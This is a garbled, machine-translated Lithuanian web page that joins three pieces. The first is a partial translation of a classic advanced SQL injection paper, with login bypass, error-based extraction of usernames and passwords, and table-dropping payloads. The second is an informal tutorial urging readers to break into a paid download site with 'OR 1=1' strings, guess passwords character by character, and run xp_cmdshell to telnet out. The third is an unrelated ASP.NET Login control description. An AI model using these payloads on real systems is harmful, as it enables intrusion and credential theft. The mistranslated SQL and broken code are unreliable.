Namai Pasiruošimas žiemai Prisijungimo valdymas. Kaip gauti mano SQL užklausos rezultatus

Prisijungimo valdymas. Kaip gauti mano SQL užklausos rezultatus

Šis darbas yra Chriso Anley darbo „Advanced SQL Injection In“ vertimas SQL serveris Programos. ()
Tolesniuose straipsniuose, jei yra laisvo laiko, šis vertimas bus baigtas.

P.S. Vertimas labiau domins edukaciniais ir istoriniais tikslais.

Originalus straipsnio pavadinimas: Išplėstinės SQL injekcijos programose, kuriose naudojama SQL kalba.

anotacija

Šiame straipsnyje išsamiai aptariami bendrieji „SQL injekcijos“ metodai gerai žinomai platformai „Microsoft“ internetas Informacijos serveris / Aktyvūs serverio puslapiai / SQL serveris. Jame diskutuojama įvairių variantų naudoja SQL injekciją programose ir paaiškina duomenų tikrinimo būdus bei duomenų bazių, kuriose gali būti naudojamas įterpimas, apsaugą.

Įvadas

Struktūrinė užklausų kalba (SQL) yra struktūrinė kalba, naudojama sąveikai su duomenų bazėmis. Yra daug SQL kalbos „tarmių“, tačiau šiandien jos dažniausiai yra sukurtos remiantis SQL-92 standartu, vienu iš ankstyvųjų ANSI standartų. Pagrindinis SQL veikimo vienetas yra užklausa, kuri yra išraiškų, kurios paprastai grąžina rezultatų rinkinį, rinkinys. SQL išraiškos gali pakeisti duomenų bazių struktūrą (naudojant duomenų apibrėžimo kalbas - DLL) ir manipuliuoti jų turiniu (naudojant duomenų apdorojimo kalbas - DML). Šiame darbe apžvelgsime transact-SQL, naudojamą Microsoft SQL Server.

SQL injekcija įmanoma, kai užpuolikas gali įterpti SQL kodą į užklausą, kad galėtų valdyti programai siunčiamus duomenis.

Įprasta SQL išraiška atrodo taip:

Iš autorių pasirinkti ID, vardą, pavardę

Ši išraiška paima „id“, „vardą“ ir „pavardę“ iš lentelės „autoriai“ stulpelių ir pateikia visas lentelės eilutes. Pavyzdys gali būti apribotas konkrečiu „autoriu“, pavyzdžiui:

Pasirinkite id, vardą, pavardę iš autorių, kur vardas = "jonas" ir pavardė = "kalvis"

Reikėtų pažymėti, kad į šį prašymą eilučių literalai yra atskirti vienkartinėmis kabutėmis. Manoma, kad „vardas“ ir „pavardė“ yra vartotojo įvestis. IN tokiu atveju užpuolikas galės pateikti savo SQL užklausą, pridėdamas savo reikšmes prie programos. Pavyzdžiui:

Vardas: jo"hn Pavardė: smith

Tada išraiška imsis kitas vaizdas:

Pasirinkite id, vardą, pavardę iš autorių, kur vardas = "jo"hn ir pavardė = "kalvis"

Duomenų bazei pabandžius apdoroti tokią užklausą, bus grąžinta ši klaida:

Serveris: 170 žinutė, 15 lygis, 1 būsena, 1 eilutė 1 eilutė: neteisinga sintaksė šalia „hn“.

Klaidos priežastis bus ta, kad įvesta viena kabutė sujauks užklausos skyriklio struktūrą. Todėl duomenų bazė nesėkmingai bandys vykdyti „hn“ komandą, o tai sukels klaidą. Dėl to, jei užpuolikas į formą įveda šią informaciją:

Vardas: jo"; lentelės autoriai - Pavardė:

Lentelė „Autoriai“ bus ištrinta, vėliau pažiūrėsime, kodėl taip nutinka.

Galbūt manote, kad jei pašalinsime pavienes kabutes iš įvesties formos ir jas „pakeisime“, tai gali išspręsti mūsų problemą. Ir jūs būsite teisūs, tačiau naudojant šį metodą kaip šios problemos sprendimą kyla tam tikrų problemų. Pirma, ne visa vartotojo įvestis yra „eilutės“. Jei vartotojo formoje bus autoriaus „id“, kuris paprastai yra skaičius. Pavyzdžiui, mūsų užklausa gali atrodyti taip:

Pasirinkite id, vardą, pavardę iš autorių, kur id=1234

Tokiu atveju užpuolikas gali lengvai pridėti bet kurią SQL išraišką po skaitmeninių duomenų. Kitų tipų SQL užklausose naudojami įvairūs skyrikliai. Pavyzdžiui, „Microsoft Jet DBMS“ skyriklis bus simbolis „#“. Antra, „pabėgimas“ nuo pavienių kabučių nėra pats paprasčiausias būdas tai apsaugoti, kaip gali pasirodyti iš pradžių. Daugiau apie tai pakalbėsime vėliau.

Štai pavyzdys, pagrįstas „Active Server Pages“ (ASP) prisijungimo puslapiu, kuris naudoja SQL, kad pasiektų duomenų bazę, kad vartotojas būtų įgaliotas prisijungti prie programos.

Čia yra puslapio, kuriame yra prisijungimo forma, kuriame įvesite savo vartotojo vardą ir slaptažodį, kodas.

Prisijungimo puslapis Prisijungimas

Vartotojo vardas:
Slaptažodis:

Žemiau yra kodas (process_login.asp), kuris nustato įvestų duomenų teisingumą.

p ( šrifto dydis=20 pt ! svarbu) šriftas ( font-size=20 pt ! svarbu) h1 ( šrifto dydis=64 pt ! svarbu) if (rso.EOF) ( rso.close(); PRIEIGA DRAUGA ) else( %> 0) ( Prisijungimas(cn); ) ) cn.close(); Pagrindinis(); %>

Pažeidžiamumas yra „process_login.asp“, kuris sukuria tokią užklausą:

Var sql = "pasirinkite * iš vartotojų, kur vartotojo vardas = "" + vartotojo vardas + "" ir slaptažodis = "" + slaptažodis + """;

Jei vartotojas įveda:

Vartotojo vardas: "; drop table vartotojai - Slaptažodis:

Lentelė „Vartotojai“ bus ištrinta, todėl visi vartotojai negalės pasiekti programos. „Transact-SQL“ derinys „--“ apibrėžia vienos eilutės komentarą ir „;“ žymi vienos eilutės pabaigą ir kitos pradžią. Du iš eilės brūkšneliai šioje užklausoje naudojami užklausai užbaigti be klaidų.

Be to, užpuolikas gali prisijungti prie sistemos bet kuriuo vartotojo vardu, naudodamas šią konstrukciją:

Vartotojo vardas: admin"--

Ir įvedęs šią informaciją, užpuolikas galės prisijungti prie sistemos kaip fiktyvus vartotojas:

Vartotojo vardas: " union select 1", "fictional_user", "some_password", 1--

Priežastis, kodėl tai veikia, yra ta, kad programa „patikės“, kad pateiktas netikras rezultatas yra duomenų bazės įrašų rinkinys.

Informacijos gavimas pagal klaidų pranešimus

Šios technikos išradėjas yra Davidas Litchfieldas, įsiskverbimo testavimo (apsaugos sistemos testavimo tikslu) tyrinėtojas. Vėliau Deividas šia tema parašė straipsnį, kuriuo remiasi daugelis kitų autorių. Jo darbe paaiškinamas klaidų pranešimų panaudojimo mechanizmas – „klaidos pranešimo“ technika. Savo darbe jis išsamiai paaiškina šią techniką skaitytojams ir suteikia tolesnį impulsą jo paties supratimui apie šią problemą.

Norėdami sėkmingai valdyti duomenis, užpuolikas turi žinoti duomenų bazių ir lentelių, prie kurių jis nori gauti prieigą, struktūrą. Pavyzdžiui, mūsų „vartotojų“ lentelė buvo sukurta naudojant šią komandą:

Sukurti lentelės naudotojus (id int, vartotojo vardą varchar (255), slaptažodį varchar (255), priv int)

Ir yra šie vartotojai:

Įterpti į naudotojų vertes (0, "admin", "r00tr0x!", 0xffff) įterpti į vartotojų vertes (0, "svečias", "svečias", 0x0000) įterpti į vartotojų vertes (0, "chris", "slaptažodis", 0x00ff) įterpti į vartotojų vertes (0, "fred", "sesame", 0x00ff)

Tarkime, kad mūsų įsilaužėlis nori į lentelę įterpti savo įrašą. Mažai tikėtina, kad jam pasiseks, jei jis nežinos jo struktūros. Bet net jei jam pasiseks, „privs“ lauko prasmė liks neaiški. Užpuolikas gali įterpti reikšmę „1“, sukurdamas paskyrą su žemomis privilegijomis, o jam reikia prieigos programos administratoriaus lygiu.

Laimei, įsilaužėliui standartinis ASP elgesys klaidoms yra rodyti pranešimus apie jas, naudojant juos visiškai nustatyti duomenų bazės struktūrą, taigi sužinoti visų laukų reikšmes iš vartotojo abonementų, kurie įvedami į programą. duomenų bazėje.

(Toliau pateiktame pavyzdyje naudosime aukščiau pasiūlytą duomenų bazę ir asp scenarijų, kad parodytume šią techniką.)

Pirmiausia užpuolikas norės nustatyti lentelių, kuriose vykdomos užklausos, pavadinimus, taip pat laukų pavadinimus. Norėdami pasiekti šį tikslą, užpuolikas pasirinkimo išraiškoje naudos konstrukciją „turėti“:

Vartotojo vardas: "turėdamas 1=1--

Tai sukels šią klaidą:

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e14“ Stulpelis „users.id“ netinkamas pasirinkimo sąraše, nes jo nėra agregacinėje funkcijoje ir nėra sąlygos GROUP BY. /process_login.asp, 35 eilutė

Taigi, žinant lentelių pavadinimus ir pirmojo stulpelio pavadinimą. Šią procedūrą galima tęsti naudojant operatorių „grupuoti pagal“, kaip parodyta toliau:

Vartotojo vardas: grupė pagal naudotojus.id, turintis 1=1--

(o tai savo ruožtu sugeneruos naują klaidą)

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e14“ Stulpelis „users.username“ netinkamas pasirinkimo sąraše, nes jo nėra nei agregacinėje funkcijoje, nei sąlygoje GROUP BY. Dėl to įsilaužėlis sugalvos tokią konstrukciją:
“ grupė pagal vartotojai.id, vartotojai.naudotojo vardas, vartotojai.slaptažodis, vartotojai.privs, turintys 1=1--
Kuris nesukels klaidos ir bus lygiavertis:
pasirinkite * iš vartotojų, kur vartotojo vardas = ""
Tokiu būdu užpuolikas žino, kad užklausa veikia tik lentelę „vartotojai“, kurios struktūra yra „id, vartotojo vardas, slaptažodis, privs“ (tokia tvarka). Ši informacija bus naudinga, jei galėsite sužinoti duomenų tipą, kuris naudojamas kiekviename stulpelyje. Informaciją apie duomenų tipą galima gauti naudojant "tipo konvertavimą", pavyzdžiui:
Vartotojo vardas: " sąjunga pasirinkite sumą (vartotojo vardą) iš vartotojų--
Sum() funkcijos esmė ta, kad SQL serveris bando ją vykdyti prieš nustatydamas, ar reikšmė yra skaitinė, ar simbolis. Bandant apskaičiuoti teksto lauko „sumą“, bus pateikta tokia klaida:
„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“ Sumos arba vidutinės suvestinės operacijos argumentu negalima laikyti varchar duomenų tipo. /process_login.asp, 35 eilutė
Tai rodo, kad duomenų tipas lauke „vartotojo vardas“ yra varchar. Kita vertus, jei bandysime įvertinti skaitinio tipo sum(), gausime pranešimą, kad simbolių skaičius dviejų teksto eilučių rinkinyje nesutampa:
Vartotojo vardas: " union select sum(id) from users - Microsoft OLE DB Provider for ODBC Drivers klaida "80040e14" Visos užklausos SQL sakinyje, kuriame yra UNION operatorius privalo turėti vienodą skaičių išraiškų jų tiksliniuose sąrašuose. /process_login.asp, 35 eilutė
Panašią techniką galime naudoti norėdami nustatyti beveik bet kurio stulpelio, bet kurios duomenų bazėje esančios lentelės duomenų tipą. Tai savo ruožtu padės užpuolikui sukurti gerai parašytą „įterpimo“ užklausą, pavyzdžiui:
Vartotojo vardas: "; įterpti į vartotojų vertes (666, "attacker", "foobar", 0xffff)--
Tačiau algoritmo galimybės tuo nesibaigia. Hakeris gali gauti Naudinga informacija nuo klaidų apie aplinką ar pačią duomenų bazę. Sąrašas standartinės klaidos galima gauti naudojant konstrukciją:
pasirinkite * iš pagrindinio..sysmessages
Užpildę šią užklausą galite gauti daug įdomios informacijos. Ypač naudinga yra informacija apie tipo konvertavimą. Jei bandysite konvertuoti eilutę į sveikąjį skaičių, bus grąžintas pranešimas, kuriame bus visas eilutės turinys. Mūsų pavyzdyje „naudotojo vardo“ konversija pateiks SQL serverio versiją ir operacinės sistemos versiją.
Vartotojo vardas: " union select @@version,1,1,1-- Microsoft OLE DB teikėjo ODBC tvarkyklės klaida "80040e07" Sintaksės klaida konvertuojant nvarchar reikšmę "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) 2000 m. rugpjūčio 6 d. 00:57:48 Autorių teisės (c) 1988–2000 Microsoft Corporation Enterprise Edition sistemoje Windows NT 5.0 (2195 versija: 2 pakeitimų paketas)" to a column of data type int. /process_login.asp, line 35 !}
Aukščiau pateiktame pavyzdyje pabandysime konvertuoti įtaisytąją konstantą „@@version“ į sveikąjį skaičių, nes pirmasis „vartotojų“ lentelės stulpelis yra tokio tipo duomenų. Metodas gali būti naudojamas nuskaityti bet kokią reikšmę bet kurioje duomenų bazės lentelėje. Taigi, jei užpuolikas nori sužinoti vartotojo vardus ir slaptažodžius, jis greičiausiai naudos tokią konstrukciją, kad nuskaitytų duomenis:
Vartotojo vardas: " sąjunga pasirinkite min(naudotojo vardas),1,1,1 iš vartotojų, kur vartotojo vardas > "a"--
Pasirinkus vartotoją, kurio "vartotojo vardas" yra didesnis nei "a", tipus bus bandoma konvertuoti į sveikąjį skaičių:
„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“ Sintaksės klaida konvertuojant varchar reikšmę „admin" to a column of data type int. /process_login.asp, line 35 !}
Taigi, mes gausime vartotojų sąrašą, po kurio galėsime gauti slaptažodžius:
Vartotojo vardas: " union select password, 1,1,1 from username = "admin" - Microsoft OLE DB teikėjo ODBC tvarkyklės klaida "80040e07" Sintaksės klaida konvertuojant varchar reikšmę "r00tr0x!" to a column of data type int. /process_login.asp, line 35 !}
Elegantiškesnis būdas yra išgauti visus vartotojo vardus ir slaptažodžius viename pavyzdyje ir pabandyti juos konvertuoti į sveikąjį skaičių. Reikėtų pažymėti, kad Transact-SQL išraiškas galima sujungti į vieną eilutę nekeičiant jų reikšmės - apsvarstykite šį pavyzdį:
pradėti deklaruoti @ret varchar(8000) nustatyti @ret=":" pasirinkite @ret=@ret+" "+username+"/"+slaptažodis iš vartotojų, kur vartotojo vardas>@ret pasirinkite @ret kaip ret į foo pabaigą
Akivaizdu, kad užpuolikas „prisijungs“ naudodamas šį vartotojo vardą:
Vartotojo vardas: "; pradėti deklaruoti @ret varchar(8000) nustatyti @ret=":" pasirinkite @ret=@ret+" "+username+"/"+slaptažodis iš vartotojų, kur vartotojo vardas>@ret pasirinkite @ret kaip ret į foo end- -
Ši užklausa sukurs lentelę foo, kurioje bus vienas stulpelis „ret“, kuriame bus visos mūsų eilutės. Dažnai net ir mažas privilegijas turintis vartotojas turi galimybę duomenų bazėje sukurti lentelę ar net laikiną duomenų bazę. Taigi užpuolikas gali pasirinkti visas šios lentelės eilutes, kaip ir ankstesniame pavyzdyje:
Vartotojo vardas: " union select ret,1,1,1 from foo-- Microsoft OLE DB teikėjo ODBC tvarkyklės klaida "80040e07" Sintaksės klaida konvertuojant varchar reikšmę ": admin/r00tr0x! svečias/svečias chris/slaptažodis fred /sezamas" to a column of data type int. /process_login.asp, line 35 !}
Tada jis pašalins savo pėdsakus ištrindamas lentelę:
Vartotojo vardas: "; drop table foo--
Pirmiau pateikti pavyzdžiai parodo visą šio algoritmo siūlomą lankstumą. Nereikia nė sakyti, kad jei užpuolikas sugeba padaryti klaidą prisijungdamas prie duomenų bazės, jų darbas tampa daug lengvesnis. /process_login.asp, 35 eilutė

SQL injekcija yra gana gera galimybė įsilaužėliams gauti
prieiga prie serverio. Ir įdėjęs šiek tiek pastangų, jis
vis tiek gaunu :)

Koderis viduje

Šiais laikais darbas su duomenų bazėmis palaikomas
beveik visos programavimo kalbos, tai BASIC, C++, Java, PERL, PHP, Assembler ir net JavaScript! Ir šios programos vadinamos ne daugiau kaip DBVS – duomenų bazių valdymo sistemomis. Duomenų bazės dažnai naudojamos finansinėms problemoms spręsti,
buhalterinės apskaitos, personalo organizavimo, tačiau savo pritaikymą rado ir internete.

Duomenų bazės dažnai naudojamos WEB programoms rašyti. Jų naudojimas yra tinkamiausias vartotojų registracijos duomenims, seansų identifikatoriams saugoti, paieškai organizuoti ir kitoms užduotims, kurioms reikia daugiau apdorojimo.
duomenų kiekis. Norint pasiekti duomenų bazę, naudojamos serverio technologijos: PHP, PERL, ASP ir kt. Čia ir prasideda linksmybės. Kai yra serveryje
įdiegtos visos pataisos, o ugniasienė blokuoja visus prievadus, išskyrus 80 prievadą arba kai reikalingas autentifikavimas norint pasiekti kai kuriuos duomenis, įsilaužėlis gali naudoti SQL įpurškimą. Šios atakos esmė – išnaudoti klaidą WEB technologijų ir SQL sankirtoje. Faktas yra tas, kad daugelis internetiniai puslapiai Norėdami apdoroti vartotojo duomenis, jie sudaro specialią SQL užklausą duomenų bazei. Neatsargus šios technikos naudojimas gali duoti gana įdomių rezultatų...

SQL įpurškimas

Norėdami paaiškinti ataką, įsivaizduokime, kad nuėjote į svetainę atsisiųsti vieną labai svarbų įrankį ir su siaubu pastebėjote, kad tai gali padaryti tik registruotas vartotojas, o registracija, žinoma, kainuoja 🙂 Jūs nenorite atiduoti savo paskutiniai uždirbti pinigai, bet jūs negalite to padaryti be programos! Atėjo laikas prisiminti, kaip
pasiekti SQL duomenų bazes. Pavyzdžiui, prisijungimo vardo ir slaptažodžio tikrinimas PHP gali atrodyti taip:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" IR
pass="$slaptažodis"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
jei ($ skaičius_eilučių! = 0)
{
// AUTENTIKIAVIMAS GERAI
}
Kitas
{
// AUTENTIKIAVIMO KLAIDA
}

Pridėjau du komentarus: „ATUTENTIMAS GERAI“ – turėčiau jį pakeisti
eikite į kodą, kuris bus vykdomas, jei slaptažodis ir prisijungimas yra teisingi. Kita „AUTETIKAVIMO KLAIDA“ yra vieta, kurioje bus aprašytas kodas, kuris bus vykdomas, jei jis bus neteisingas. Jei užpildysite formą, užklausa atrodys taip: „http://www.server.com?login=user&password=31337“, kur www.server.com yra pavadinimas
serveris, prie kurio bandome prisijungti. Radome tai, ko ieškojome, todėl vėl grįšime prie darbo su SQL. Taigi, jei autorizuodami turite nurodyti prisijungimo vardą ir slaptažodį, sugeneruota SQL užklausa atrodys taip:

SELECT * FROM user WHERE login="vartotojas" IR
slaptažodis = "31337"

Tai reiškia maždaug taip: grąžinkite man visus įrašus iš vartotojų duomenų bazės, kurių prisijungimo vardas yra „vartotojas“, o slaptažodis yra „31337“. Jei toks įrašas yra, tai vartotojas registruojamas, bet jei ne, tai ne... Bet susiklosčius tam tikroms aplinkybėms viską galima ištaisyti. Tai reiškia situaciją, kai programa netikrina perduotų duomenų turinio arba visiškai nepatikrina, ar nėra SQL nurodymų. Šiame pavyzdyje pažymėti du laukai prisijungimo vardas ir slaptažodis, bet jei kaip slaptažodį nurodote „31337′ AND email=“ [apsaugotas el. paštas]“(be dvigubų kabučių), tada užklausa pasirodys šiek tiek kitokia:

PASIRINKTI * FROM vartotojų WHERE login="vartotojas" IR slaptažodis="31337" IR
paštas=" [apsaugotas el. paštas]"

Ir jei elektroninio pašto laukas yra, ši sąlyga taip pat bus patikrinta. Jei prisimenate Būlio algebros pagrindus, jums ateina į galvą, kad be operacijos „ir“, yra ir „arba“, o kadangi jų naudojimą palaiko SQL, galite
aprašytu būdu pridėkite sąlygą, kuri visada grąžinama tiesa. Norėdami tai padaryti, kaip prisijungimą turite nurodyti „user’ OR 1=1—“, tokiu atveju užklausa bus tokia:

SELECT * FROM user WHERE login="vartotojas" OR 1=1--" IR
slaptažodis = "31337"

Pirmiausia turėtumėte žinoti, kad „-“ reiškia užklausos pabaigą, o viskas po „-“
nebus apdorotas! Pasirodo, mes pateikėme prašymą:

SELECT * FROM user WHERE login="vartotojas" ARBA 1=1

Kaip matote, pridėjome sąlygą „1=1“, o tai reiškia, kad patvirtinimo kriterijus bus „jei prisijungimas yra „vartotojas“ arba 1=1“, tačiau 1 visada yra lygus 1 (vienintelė išimtis gali būti Dani Shepovalovo aritmetika :)). Kad patikrintume mūsų įtarimus
Adreso juostoje įveskite „http://www.server.com?login=user arba 1=1—&password=31337“. Tai lemia tai, kad nesvarbu, kokį prisijungimą nurodėme, bet
ypač slaptažodis! O mes esame matricoje... oi, sistemoje ir galime ramiai parsisiųsti tai, ko mums reikia.

Bet visa tai teoriškai. Praktiškai nežinome, kaip formuojamas užklausa, kokie duomenys perduodami ir kokia seka. Todėl visuose laukeliuose būtina nurodyti „user’ OR 1=1—“. Taip pat turėtumėte patikrinti, ar pateikimo formoje nėra paslėptų laukų. HTML jie apibūdinami kaip "". Jei tokių yra, išsaugokite puslapį ir pakeiskite šių laukų reikšmes. Juose esančios reikšmės dažnai pamirštamos patikrinti, ar nėra SQL sakinių. Bet kad viskas veiktų, turėtumėte nurodyti visą scenarijaus, kuris apdoroja šią užklausą, kelią parametro „ACTION“ formoje (žyma „FORM“).

Tačiau ne visada žinoma, kaip formuojamas prašymas,
Ankstesnis pavyzdys gali būti sudarytas šiais būdais:

PASIRINKTI * FROM naudotojai WHERE (prisijungimas = "vartotojas" IR slaptažodis = "31337")
SELECT * FROM user WHERE login="naudotojas" IR slaptažodis="31337"
SELECT * FROM users WHERE login=vartotojas IR slaptažodis=31337

Tokiu atveju galite išbandyti šias parinktis:

‘ARBA 1=1–
» ARBA 1=1—
ARBA 1=1—
‘ ARBA ‘a’=’a
"ARBA "a"="a
‘) ARBA (‘a’=’a
ARBA '1'='1'

Viskas priklauso nuo scenarijaus tikslo ir nuo programuotojo. Kadangi kiekvienas žmogus linkęs viską daryti savaip, visai gali būti, kad programuotojas pasirinks ne patį lengviausią variantą. Todėl neturėtumėte iš karto
pasiduokite, jei jus atstums. Būtinas
stengtis kiek įmanoma didelis kiekis galimybės...

Slaptažodžio aptikimas

Apeiti autorizaciją nėra blogai, tačiau labai dažnai jūsų naudojama skylė užsidaro ir prarandama viskas, kas buvo jums prieinama.
To reikia tikėtis, jei programuotojas nėra kvailys
Laikui bėgant jis uždarys visas spragas. Tokių situacijų nesunkiai išsivaduosite iš anksto pasirūpinę. Teisingas sprendimas gali būti atspėti slaptažodį naudojant
autentifikavimo rezultatų analizė. Pirmiausia pabandykime atspėti slaptažodį, norėdami tai padaryti, įveskite jo vietą:

‘ARBA slaptažodis>’a

Jei mums pranešama, kad leidimas buvo perduotas, tada slaptažodis
prasideda ne raide „a“, o vienu iš toliau pateiktų sąrašo elementų. Eikime toliau ir pakeisime
vieta „a“, „b“, „c“, „d“, „e“... ir t.t. kol jie mums nepasakys, kad slaptažodis neteisingas. Tegul šis procesas sustoja ties simboliu „x“, tokiu atveju sukuriami du situacijos vystymo variantai: slaptažodis randamas arba slaptažodis prasideda šiuo simboliu. Norėdami patikrinti pirmąją parinktį, parašykite slaptažodžio vietą:

‘ARBA slaptažodis=’x

o jei slaptažodis priimtas ir jus įleidžia, vadinasi, atspėjote slaptažodį! Na, ne, tuomet turėtumėte pasirinkti antrą simbolį,
lygiai tas pats, nuo pat pradžių. Patikrinkite, ar yra du simboliai
reikia to paties. Galų gale gausite slaptažodį ir taip pat ieškosite prisijungimo :)
Jei rastas slaptažodis ir prisijungimo vardas jums netinka, galite rasti kitus. Norėdami tai padaryti, turite pradėti tikrinti nuo paskutinio rasto slaptažodžio simbolio. Taigi, jei slaptažodis buvo „xxx“, būtina patikrinti, ar slaptažodis yra
"xxxy":

‘ARBA slaptažodis=’xxx

kad nepraleistumėte daugiau nei vienos galimybės!

MS SQL serveris

MS SQL Server paprastai yra Dievo dovana, jei praleidžiamas būtinas filtravimas. Galite vykdyti naudodami SQL įpurškimo pažeidžiamumą
komandos nuotoliniame serveryje naudojant exec master..xp_cmdshell. Bet naudoti šį dizainą
SELECT operacija turi būti baigta. SQL teiginiai atskiriami kabliataškiais. Todėl norėdami prisijungti prie tam tikro IP per Telnet, turite įvesti slaptažodį / prisijungimo vietą:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server turi dar keletą įdomių funkcijų, kurios leidžia sužinoti duomenų bazėje saugomus prisijungimus ir slaptažodžius. Norėdami tai padaryti, klaidų išvestis nukreipiama į savavališką serverį ir per juos
analizę, galite sužinoti lentelės pavadinimą, laukus ir jų tipus. Po to galite prašyti

„UNION SELECT TOP 1 prisijungimas IŠ vartotojų –

(login yra lauko, kuriame yra prisijungimo vardas, pavadinimas, o vartotojai yra lentelės pavadinimas,
pusiau mokslininkai klaidų analizės procese).

Atsakymas gali būti toks:


Sintaksės klaida konvertuojant nvarchar reikšmę "admin" to a column of data type int. !}
/default.asp, 27 eilutė

Dabar žinome, kad yra vartotojas, vardu „admin“. Dabar galime gauti jo slaptažodį:

SĄJUNGOS PASIRINKITE TOP 1 slaptažodį IŠ vartotojų, kur login='admin'-

Rezultatas:

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę "xxx" to a column of data type int. !}
/tedault.asp, 27 eilutė

Dabar žinome, kad yra vartotojas „admin“ su slaptažodžiu „xxx“. Su tuo galite saugiai
naudokite jį ir prisijunkite prie sistemos 😉

Tačiau yra daug kitų funkcijų, skirtų darbui su SQL,
Dirbdami su duomenų baze taip pat galite ištrinti duomenis, juos modifikuoti, įterpti savo ir net manipuliuoti failais bei dirbti su registru.
Apskritai, SQL serverio taisyklės :)

Apsauga

Bet, žinoma, viso to galima išvengti. Norėdami tai padaryti, galite
naudoti filtrus,
pateikė gamintojai. Galite rasti savo sprendimus, pavyzdžiui, pakeisti visus vienus
dvigubas kabutes (jei SQL užklausai naudojame viengubas kabutes), arba atvirkščiai. Galite leisti naudoti tik raides ir s@baki, jei reikia įvesti
elektroninio pašto adresas. O perle yra nuostabu
funkcija 🙂 citata() DBI::DBD modulyje, kuri sėkmingai apsaugo jūsų užklausą SQL. Sprendimų yra daug, tik jų reikia
pasinaudoti. Priešingu atveju, kam tada visa tai...

Prisijungimo valdymas

Prisijungimo valdiklis leidžia lengvai sukurti prisijungimo puslapį formų autentifikavimui kartu su Narystės API. Tai suteikia paruoštą naudoti vartotojo sąsaja, kuriame prašoma vartotojo vardo ir slaptažodžio bei pateikiamas mygtukas, skirtas vartotojui prisijungti. Užkulisiuose jis apima funkcijas, kurios buvo aprašytos ankstesniame straipsnyje: naudotojų tapatybės patikrinimas naudojant Narystės API ir pagrindinių formų autentifikavimo funkcijų įtraukimas, pvz., peradresavimas į iš pradžių prašomą puslapį saugioje programos srityje po sėkmingo naudojimo. Prisijungti.

Tai reiškia, kad prisijungimas apima tokius dalykus kaip Membership.ValidateUser() arba FormsAuthentication.RedirectFromLoginPage(), todėl jums nereikės to kodo rašyti patiems. Žemiau esančiame paveikslėlyje parodytas prisijungimo valdiklis:

Kaskart vartotojui spustelėjus mygtuką Prisijungti, valdiklis automatiškai patikrina vartotojo vardą ir slaptažodį naudodamas funkciją Membership.ValidateUser() ir, jei patvirtinimas sėkmingas, iškviečia FormsAuthenication.RedirectFromLoginPage(). Visos prisijungimo valdiklio parinktys turi įtakos įvestis, kurią jis pateikia šiems metodams. Pavyzdžiui, jei pažymėsite žymimąjį laukelį Prisiminti mane kitą kartą, metodo RedirectFromLoginPage() parametre createPersistentCookie bus pateikta vertė true. Todėl FormsAuthenticationModule sukuria nuolatinį slapuką.

Užkulisiuose „Login“ yra ASP.NET sudėtinis valdiklis. Jis yra visiškai išplečiamas – ta prasme, kad leidžia nepaisyti bet kokių išdėstymo stilių ir savybių, taip pat perimti siunčiamus įvykius, kad būtų nepaisoma numatytojo elgesio. Jei paliksite valdiklį tokį, koks yra ir nepertraukiate jokių įvykių, jis automatiškai naudos programai sukonfigūruotą narystės teikėją.

Paprasčiausia prisijungimo valdiklio forma puslapyje atrodo taip:

Yra keletas ypatybių, skirtų pakeisti prisijungimo valdiklio išvaizdą. Galite taikyti skirtingus stiliaus nustatymus, kaip parodyta toliau:

Taip pat galite naudoti CSS klases, kad tinkintumėte prisijungimo išvaizdą. Kiekviena stiliaus ypatybė, kurią palaiko prisijungimo valdiklis, apima CssClass ypatybę. Kaip ir naudojant bet kurį kitą ASP.NET valdiklį, ši ypatybė leidžia nurodyti CSS klasės, kuri anksčiau buvo įtraukta į svetainę, pavadinimą. Tarkime, kad prie projekto buvo pridėtas šis CSS stiliaus lapas, kurio failo pavadinimas MyStyles.css:

MyLoginTextBoxStyle (žymeklis: žymeklis; fono spalva: geltona; teksto lygiavimas: centre; užpildymas: 6 pikseliai; kraštinė: taškuotas juodas; šriftų šeima: Verdana; vertikaliai lygiuoti: viduryje; ) .Prisijungti (rodymas: įterptinis blokas; ) .Title (padding: 6px;)

Šis stiliaus failas gali būti įtrauktas į prisijungimo puslapį, kad būtų galima nustatyti prisijungimo elemento stilių:

Šioje lentelėje pateikiami prisijungimo valdiklio palaikomi stiliai. Kiekvienas stilius veikia taip pat. Šrifto ir spalvų ypatybes galima nustatyti tiesiogiai arba galite naudoti ypatybę CssClass, kad nurodytumėte norimą CSS klasę:

Stiliai, kuriuos palaiko prisijungimo valdiklis Stiliaus aprašymas
CheckBoxStyle

Apibrėžia žymės langelio Prisiminti mane kitą kartą stiliaus ypatybes.

FailureStyle

Apibrėžia teksto, kuris rodomas, kai nepavyksta prisijungti, stilių.

HyperLinkStyle

Prisijungimo valdiklis leidžia apibrėžti kelių tipų hipersaitus, pvz., į pradinį registracijos puslapį. Šis stilius nurodo tokių hipersaitų išvaizdą

InstructionTextStyle

Prisijungimo valdiklis leidžia nurodyti pagalbos tekstą, kuris rodomas tiesiogiai prisijungimo valdiklyje. Šis stilius nurodo šio teksto išvaizdą

LabelStyle

Apibrėžia vartotojo vardo ir slaptažodžio etikečių stilių.

LoginButtonStyle

Apibrėžia prisijungimo mygtuko stilių

TextBoxStyle

Apibrėžia vartotojo vardo ir slaptažodžio teksto laukų stilių.

TitleTextStyle

Apibrėžia prisijungimo valdiklio antraštės teksto stilių

ValidatorTextStyle

Apibrėžia valdiklių, naudojamų vartotojo vardui ir slaptažodžiui patvirtinti, stilius

Prisijungimo elemento vartotojo sąsaja yra ne tik tinkinama naudojant šiuos stilius; Kitos papildomos ypatybės taikomos konkrečioms valdiklio turinio dalims, pvz., mygtukui Prisijungti, kuris taip pat leidžia tinkinti GUI.

